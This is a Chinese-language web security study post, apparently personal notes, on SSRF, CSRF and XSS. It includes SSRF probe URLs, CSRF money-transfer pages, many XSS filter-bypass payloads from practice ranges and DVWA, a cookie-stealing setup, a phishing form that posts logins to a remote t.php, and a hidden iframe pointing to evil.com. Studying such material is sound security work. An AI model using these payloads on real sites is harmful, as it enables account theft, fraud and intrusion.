matsudaira 发布的文章

原理

SSRF服务器端请求伪造,由攻击者构造请求,并由服务端来发起请求的安全漏洞,因为请求是服务端发起的,所以服务端能够请求到与自身相连而与外网隔离的内部系统,成因是因为服务端提供了从其他服务器应用获取数据的功能但没有对目标地址做过滤和限制

常见攻击目标

图片加载与下载功能
本地处理功能
各类辅助功能
图片、文章收藏功能等

主要攻击方式

端口扫描,获取banner信息(banner信息中可以得到软件开发商,软件名称、版本、服务类型等信息)
攻击运行在内网或者本地的应用程序
对内网Web引用进行指纹识别,识别企业内部的资产信息
攻击内外网的Web应用,主要是使用HTTP GET请求就能实现的攻击
利用file协议读取本地文件

例如,某网站的一个代码是这样写的

<?php
function curl($url)
{
// 创建一个新cURL资源
$ch = curl_init();

// 设置URL和相应的选项
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);

// 抓取URL并把它传递给浏览器
curl_exec($ch);

// 关闭cURL资源,并且释放系统资源
curl_close($ch);
}
$url = $_GET['url']; //以get方式获取url的值
curl=($url); //将url的值代入函数curl中执行
?>

探测是否存在mysql服务www.test1.com/ssrf.php?url=192.168.226.100:3306或者类似于http://example.com:8080/dir/images/

获取内网资源www.test1.com/ssrf.php?url=file:///C:/Windows/win.ini

另外,一篇不错的参考文章地址

原理

CSRF,跨站请求伪造,攻击者利用目标用户的身份来执行一些非法的操作,CSRF需要满足两个条件

  1. 目标用户已登录并能够执行相应的网站功能
  2. 目标用户访问了攻击者构造的URL
  3. 后台未对用户业务展开合法性做校验

看到一篇不错的博客,源地址

例如,某网站www.test1.com,他可以进行转账操作,在提交转账申请的时候,他会通过get方式传递两个参数:name和number,以此来确定转账对象和转账金额,假设用户A已经登录了该网站,我们构造一个页面,其代码如下

<html>
<head>
<meta ....... />  
</head>
<body>
<h1>xixi</h1>
<div>
<a href="http://www.test1.com/money.php?name="zhangsan"&number=4000">性感荷官在线发牌</a>
</div>
</html>

如果A这个倒霉蛋点了这个链接,美女荷官没看到,倒是先-4000

如果这个傻瓜网站改进了技术,使用了post,那代码构造稍微复杂一点,需要创建一个隐藏表单,当用户访问的时候自动提交表单到目标连接,不过,如果那个网站使用了$_REQUEST来获取数据的话,那还是使用上面这种也行

<html>
<head>
..
<head>
<body>
<div>
<form action="http://www.test1.com/money.php" name="form" methon="post" role="form">
<input type="hidden" name="name" value="zhangsan">
<input type="hidden" name="number" value="4000">
<input type="submit" value="页面没加载出来?点此刷新"/>
</form>
</div>
</body>
</html>

于是倒霉鬼再次-4000

靶场地址

  1. <script>alert(1)</script>
  2. </textarea><scRipt>alert(1)</scrIpt>
  3. "><script>alert(1)</script>
function render (input) {
  return '<input type="name" value="' + input + '">'
}
  1. <script>alert`1`</script>
function render (input) {
  const stripBracketsRe = /[()]/g
  input = input.replace(stripBracketsRe, '')
  return input
  过滤括号
}

5.<img src=x onerror="alert &#40 1 &#41" />

屏蔽括号和反引号,利用HTML属性能够识别ASCII码进行绕过,码后面的;可加可不加

6.--!><img src=x onerror="alert &#40 1 &#41" />

7.

type="image" src=x onerror
="alert(1)"
function render (input) {
  input = input.replace(/auto|on.*=|>/ig, '_')
  return `<input value=1 ${input} type="text">`
}逃逸

8.<img src=x onerror="alert(1)"

function render (input) {
  const stripTagsRe = /<\/?[^>]+>/gi

  input = input.replace(stripTagsRe, '')
  return `<article>${input}</article>`
}语法松散,少输一个>也能识别

9.

</style
><img src=x onerror="alert(1)" >
function render (src) {
  src = src.replace(/<\/style>/ig, '/* \u574F\u4EBA */')
  return `
    <style>
      ${src}
    </style>
  `
}

10

http://www.segmentfault.com"></script><script>alert(1)</script>

或者
https://www.segmentfault.com" onload=alert(1)>
function render (input) {
  let domainRe = /^https?:\/\/www\.segmentfault\.com/
  if (domainRe.test(input)) {
    return `<script src="${input}"></script>`
  }
  return 'Invalid URL'
}

b.</h1><img src=x onerror="&#97;&#108;&#101;&#114&#116 &#40 &#49 &#41">

function render (input) {
  input = input.toUpperCase()
  return `<h1>${input}</h1>`
}全部转大写,html不在意大小写,js严格区分

c.<svg/onload="&#97;&#108;&#101;&#114&#116 &#40 &#49 &#41"

移除script,转大写,用svg
function render (input) {
  input = input.replace(/script/ig, '')
  input = input.toUpperCase()
  return '<h1>' + input + '</h1>'
}

d.


alert`1`;
-->
function render (input) {
  input = input.replace(/[</"']/g, '')
  return `
    <script>
          // alert('${input}')
    </script>
  `
}逃逸,利用半个注释号

E.利用古英语ſ来代替s

DVWA xss dom

easy :?default=English"'><script>alert(1)</script>
avatar

mid:可以看到他把<script>给过滤掉了
English"'></option></select><img src=x onerror=alert(1)>

high:采用了白名单,查了下,使用注释绕过English#</option></select><img src="" οnerrοr=alert(/xss/)></option>

测试技巧

2021XSS语句大全

一般情况下,XSS攻击是通过HTML注入完成的,配合着客户端的HTML源文件来发掘XSS

js伪协议:他声明url的实体是js代码,由js引擎来执行

反射型

例如http:www.abc.com/x1/index.php?a_value=,在提交表单处进行xss测试"><img src=1 onerror=alert(1)/>,合并后查看源码变成<input type="text" value=""><img sr=1 onerror=alert(1)/>">,可以看到我们插入的代码把前面的闭合掉之后后面插入了我们的私活

存储型

在类似留言板的地方放入如<img src=x onerror=alert(1)/>,与反射型不同的是,这些代码是会被存储在服务器里的,后面看到的时候也会生效

DOM

在有类似我在第一篇里面那种点击替换图片的代码的地方,可以考虑进行XSS测试

流程

  1. 测试闭包,随便输点什么东西,看源码找闭包,一般是">或者</textarea>之类的
  2. 可以输入一些能够触发XSS的敏感字符,如<>'"&#之类的,或者直接输入常用测试语句,如
<script>alert(/1/)</script>
<img src=x onerror=alert(1)>
<a href=javascript:alert(1)>
<svg onload=alert(1)>
"><script >alert(document.cookie)</script>
<div style="width:expression(alert(1));">

过滤绕过

(部分详细内容可以参考第一篇里面的技巧)

1.script等关键字过滤:

1. 复写``<scri<script>pt>``
2. 大小写混写
3. 使用全角字符(expression)
4. 使用注释/**/来混淆
5. 利用``\``和\0来进行混淆``@\0im\port'\0ja\vascr\000000ipt:alert("xixi")';``(CSS样式)
6. 空格、换行、制表符等等
7. ASCII码形式的换行符等等

2.<>标签过滤:

1.用标签属性、事件等触发``"onfocus="alert(xss)``
2.如果是转义,且为GBK编码,则考虑宽字节%bf

3.编码

js:
    1. 三位八进制,不够补0:\145
    2. 二位十六进制:\x65
    3. 四位十六进制:\u0065
    4. C类型的特殊转义字符``\n``

HTML:
1.  命名实体,如``<为&lt;``,<svg>能够翻译实体``<svg><script>alert&#40;1&#41;</script>``
2.  字符编码:格式为&#数值的十进制、十六进制ASCII、unicode编码

URL:
    1. 两次URL全编码

4.括号过滤

1. 用反引号代替括号

5.字数限制

1. 分段
2. 用bp抓包修改


全局变量,在代码审计的时候可以作为主要对象
avatar

Cookie是由服务器提供的存储在客户端的数据,用于识别用户身份和保存会话状态,由于HTTP的无连接性,所以采用这一种方法来保存会话

Cookie分为两种,一种是session cookie,这是临时的,保存在内存里面,一但关闭浏览器会话就结束了,另外一种是存放在内存里,属于永久型cookie

常见Cookie属性

name:名称
value:值
domain:此cookie的域名
path:访问cookie的页面路径
expires/Max-Age:超时时间
Size:大小
http/httponly:只能通过http请求头来带有cookie信息,而不腻通过document.cookie来访问cookie
secure:只能通过https来传递此条cookie

创建cookie的语句<?PHP setcookie(name,value,expire,path,domain,secure) ?>

通过javascript来读取document.cookie可以获得cookie信息

获取cookie的脚本示例
avatar
avatar

在自己的服务器上搭建好获取cookie的文件,然后用src属性构造连接骗人点击后获取对方的cookie

钓鱼攻击

攻击者会构造钓鱼页面,一般是登录表单部分,然后修改登录表单的地址,比如说远程服务器上的接受信息的页面为t.php,就把<from>标签里的action值改成<form method="post" action="http://www.xxxx.com/t.php">,然后在那个服务器的t.php里面写上用于接收和记录账号和密码信息的程序文件,如下图
avatar
接收到username\password等信息后,利用header函数跳转到正常的网站

方法二:构造钓鱼链接http://www.目标.com/index.php?s=<script src="http://www.xxx.com/xx.js></script>"这个xx.js里面构造一个iframe框架覆盖目标页面,在加载远程域伪造的钓鱼页面
avatar

网页挂马

<iframe src=http://www.xxx.com/xx.html width=0 height=0></iframe>篡改网页后,由于iframe的高度和宽度都设置为0,所以用户不会注意到<script>document.write("<iframe src=http://www.evil.com/xxx.html width=0 heigth=0></iframe>")</script>

其他也可以用js来获取用户的粘贴板内容、ip地址等等